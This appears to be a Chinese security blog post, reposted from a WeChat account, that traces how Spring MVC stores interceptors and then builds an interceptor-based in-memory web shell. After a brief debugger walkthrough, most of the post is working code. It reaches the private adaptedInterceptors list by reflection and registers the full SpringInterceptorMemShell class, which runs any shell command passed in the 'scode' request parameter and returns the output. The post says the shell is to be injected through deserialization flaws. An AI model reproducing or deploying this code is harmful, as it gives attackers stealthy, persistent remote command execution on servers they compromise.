Interceptor开发
创建一个Spring MVC项目,在IDEA中直接Spring Initializer即可,选择Spring Web和Maven,项目创建完毕后开始编写Interceptor
配置WebConfig
创建一个Controller访问测试
查看执行过程,如下图所示,先执行Interceptor的PreHandle,再根据该方法返回值决定是否执行对于的Controller(PreHanler返回值为True则执行),再执行PostHandler,最后执行AfterCompletion。
后面一律称呼interceptor为拦截器。
拦截器获取&&添加
在preHandle打上断点看看触发Interceptor时候的上下文信息
注意这里的堆栈信息
我们来看看这个 getHandler 方法
遍历handlerMappings,然后调用getHandler方法.
既然知道了进入这个方法前还没有该请求的处理拦截器以及方法而该方法执行完毕后却返回找到了,那么寻找拦截器以及处理方法的操作一定发生在这个函数中,细看只有这里的 getHandler 方法调用,所以进入分析
如上图所示,所有的拦截器都存储在 adaptedInterceptors 这个链表中,每次根据请求路径从所有拦截器中提取出与该请求匹配的拦截器添加到这次请求的执行链中。
回到 doDisptach 中继续分析,来到applyPreHandle调用preHandle方法
可以看到这里循环遍历了这个请求的所有拦截器并调用拦截器的 preHandle 方法,而且一旦存在某个拦截器的 prehandler 方法返回 false 就会导致if成立进而导致直接返回 false 。
至此,关于拦截器的操作就算是完毕了。
拦截器内存马制作
根据前面的分析过程我们知道我们所有的拦截器都保存在 adaptedInterceptors 这个链表中,所以我们的思路就是自己创建一个恶意拦截器并将其添加到其中。
(1)获取 RequestMappingHandlerMapping
(2)获取 adaptedInterceptors
(3)添加 Interceptor
获取RequestMappingHandlerMapping
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
获取adaptedInterceptors
Field field = null;
try {
field = RequestMappingHandlerMapping.class.getDeclaredField("adaptedInterceptors");
} catch (NoSuchFieldException e) {
e.printStackTrace();
}
field.setAccessible(true);
List<HandlerInterceptor> adaptInterceptors = null;
try {
adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping);
} catch (IllegalAccessException e) {
e.printStackTrace();
}
添加恶意拦截器
adaptInterceptors.add(new InjectEvilInterceptor("a"));
至此,这个拦截器内存马代码就算了是完成了,此时我们只需要利用反序列化之类的漏洞将该内存马注入即可。
其他版本完整代码(CV大法偷的)
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.handler.MappedInterceptor;
import org.springframework.web.servlet.handler.SimpleUrlHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import sun.java2d.pipe.SpanShapeRenderer;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.List;
public class SpringInterceptorMemShell implements HandlerInterceptor {
public SpringInterceptorMemShell() {
try {
WebApplicationContext context =
(WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// SimpleUrlHandlerMapping simpleUrlHandlerMapping = context.getBean(SimpleUrlHandlerMapping.class);
Field adaptedInterceptorsField = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
adaptedInterceptorsField.setAccessible(true);
List<HandlerInterceptor> adaptedInterceptors = (List<HandlerInterceptor>) adaptedInterceptorsField.get(mappingHandlerMapping);
// List<HandlerInterceptor> simpleAdaptedInterceptors = (List<HandlerInterceptor>) adaptedInterceptorsField.get(simpleUrlHandlerMapping);
MappedInterceptor mappedInterceptor =
new MappedInterceptor(new String[]{"/fj1247/**"}, new SpringInterceptorMemShell("abc"));
adaptedInterceptors.add(mappedInterceptor);
//这一步是可选的,只有当你需要在不存在的路由(即controller的url) 上访问该内存马才用.
// simpleAdaptedInterceptors.add(mappedInterceptor);
} catch (Exception e) {
e.printStackTrace();
}
}
public SpringInterceptorMemShell(String anyStr) {
}
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String scode = request.getParameter("scode");
if (scode != null) {
try {
PrintWriter writer = response.getWriter();
String o = "";
ProcessBuilder p;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", scode});
} else {
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", scode});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\A");
o = c.hasNext() ? c.next() : o;
c.close();
writer.write(o);
writer.flush();
writer.close();
} catch (Exception e) {
}
return false;
}
//返回false的话,整个请求到这里就结束了。
// 换言之,不再执行后面的拦截器以及Controller的处理.
//如果返回true,则继续执行后面的拦截器以及Controller的处理.
return true;
}
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
}
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
}
}
原文始发于微信公众号(安全之道):SpringMVC Interceptor 内存马
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论